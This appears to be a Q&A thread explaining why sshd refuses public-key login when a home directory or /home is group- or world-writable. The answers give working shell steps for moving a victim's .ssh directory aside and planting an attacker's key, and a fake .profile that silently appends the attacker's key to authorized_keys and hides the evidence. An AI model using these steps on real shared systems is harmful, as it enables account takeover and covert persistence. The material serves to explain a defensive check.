Why is it a security risk for SSH with public-private key if the home folder is writable for the group?
I spent a long time trying to figure out why SSH with a public-private key wasn’t working for me between two servers. It turned out that, the reason was, that the user’s home directory was writ-able for the group on the server I tried to connect to.
What is the increased security risk for SSH to deny public-private key login, when the user folder is writeable to the group versus when it is not writ-able to the group? I understand the rationale for the expected restrictive limitation of .ssh folder themselves, and so the files within it. But, why is there a danger for home directory itself? What constellation can do this dangerously?
If the home directory is group-writable, any user in that group can modify the .ssh
directory itself, e.g.:
mv ~some_user/.ssh /who/cares/where
mkdir ~some_user/.ssh
cp /my/public/key ~some_user/.ssh/authorized_keys
And gain access to that user’s account.
If /home
, or any other parent of an .ssh
directory is writable I can move the direct children out of the way causing at the very least a denial of service:
ls -ld /home
drwxrwxrwx 9 root root 20480 Sep 4 21:28 /home
mv /home/victim /home/casualty
Now victim
cannot log in with an ssh key. (A password would still work, though.)
Let’s assume that "victim" has a valid password and can shrug off the failure of the ssh
key as just one of those things. Particularly as (we hope) it won’t be a reproducible problem. In this scenario we can create a quiet escalation of privilege:
# Save the original directory and contents
mv /home/victim /home/casualty
mkdir -m777 /home/victim
# Create a fake profile to place and then hide the evidence
cat <<'EOF' >/home/victim/.profile
if [ -r /tmp/.id.pub ] && [ -d /home/casualty ]
then
# Not really very nice
mkdir -m700 -p /home/casualty/.ssh
cat /tmp/.id.pub >>/home/casualty/.ssh/authorized_keys
fi
mv /home/victim /home/victim.nomore
mv /home/casualty /home/victim
if [ "$SHELL" = /bin/bash ]
then
if [ -f /home/victim/.bash_profile ]
then
. /home/victim/.bash_profile
elif [ -f /home/victim/.profile ]
then
. /home/victim/.profile
fi
else
[ -f /home/victim/.profile ] && . /home/victim/.profile
fi
rm -rf /home/victim.nomore
EOF
Finally, place your own public ssh
key into /tmp/.id.pub
and wait for the victim to log in. Once they have done that you should find that your own ssh
key has been added to their authorized_keys
list and you can log in as them:
ssh victim@remoteHost
For bonus points you could extend the attack to capture the original datestamp on the authorized_keys
file and restore it after adding your own key (see stat --format '%Y'
and touch --date
).
If the scenario is simply that a user’s home directory itself it writeable, then to my knowledge only generate a denial of service against the ssh
keys themselves:
cd ~victim
mv .ssh .ssh.casualty
Either leave it like that, so that ssh
keys are no longer available, or attempt to add a new key:
mkdir -m755 .ssh
cat /tmp/.id.pub .ssh.casualty/authorized_keys >.ssh/authorized_keys
In this second case ssh
objects, and the attack fails:
Sep 5 15:16:51 pi sshd[16695]: Authentication refused: bad ownership or modes for directory /home/victim
Ownership and permissions are still checked on .ssh
and .ssh/authorized_keys
, however, so you are really no better off.